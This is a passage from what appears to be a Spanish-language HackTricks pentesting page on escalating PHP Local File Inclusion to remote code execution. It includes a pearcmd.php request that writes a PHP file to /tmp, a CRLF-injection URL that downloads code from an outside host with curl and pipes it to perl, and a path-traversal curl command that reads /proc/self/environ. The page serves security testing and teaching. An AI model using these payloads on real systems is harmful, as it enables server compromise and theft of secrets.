LFI2RCE via Nginx temp files

Mediante PHP_SESSION_UPLOAD_PROGRESS

Si encontraste una Local File Inclusion aunque no tengas sesión y session.auto_start esté Off. Si proporcionas el PHP_SESSION_UPLOAD_PROGRESS en datos multipart POST, PHP habilitará la sesión por ti. Podrías abusar de esto para obtener RCE:

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

Mediante cargas de archivos temporales en Windows

Si encontraste una Local File Inclusion y el servidor se está ejecutando en Windows podrías obtener RCE:

LFI2RCE Via temp file uploads

Mediante pearcmd.php + URL args

Como explained in this post, el script /usr/local/lib/phppearcmd.php existe por defecto en php docker images. Además, es posible pasar argumentos al script vía la URL porque se indica que si un parámetro de URL no tiene un =, debe usarse como argumento. Ver también watchTowr’s write-up y Orange Tsai’s “Confusion Attacks”.

La siguiente petición crea un archivo en /tmp/hello.php con el contenido <?=phpinfo()?>:

GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1

Lo siguiente abusa de una CRLF vuln para obtener RCE (desde here):

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

Via phpinfo() (file_uploads = on)

Si encuentras un Local File Inclusion y un archivo que expone phpinfo() con file_uploads = on, puedes obtener RCE:

LFI2RCE via phpinfo()

Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Si encuentras un Local File Inclusion y can exfiltrate the path del archivo temporal PERO el server está checking si el file to be included has PHP marks, puedes intentar bypass that check con esta Race Condition:

LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Via eternal waiting + bruteforce

Si puedes abusar del LFI para upload temporary files y hacer que el server hang la ejecución de PHP, entonces podrías brute force filenames during hours para encontrar el archivo temporal:

LFI2RCE via Eternal waiting

A Fatal Error

Si incluyes cualquiera de los archivos /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (Necesitas incluir el mismo 2 veces para provocar ese error).

No sé cuán útil sea esto, pero podría serlo.
Incluso si provocas un PHP Fatal Error, los archivos temporales de PHP subidos son eliminados.

Preservar secuencias de traversal desde el cliente

Algunos clientes HTTP normalizan o colapsan ../ antes de que la solicitud alcance al servidor, rompiendo los payloads de directory traversal. Usa curl --path-as-is para mantener el traversal intacto cuando abuses endpoints de log/download que concatenan un filename controlado por el usuario, y añade --ignore-content-length para pseudo-files como /proc:

curl --path-as-is -b "session=$SESSION" \
"http://TARGET/admin/get_system_log?log_identifier=../../../../proc/self/environ" \
--ignore-content-length -s | tr '\000' '\n'

Ajusta el número de segmentos ../ hasta escapar del directorio previsto, luego extrae /etc/passwd, /proc/self/cwd/app.py u otros archivos fuente o de configuración.

Referencias

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks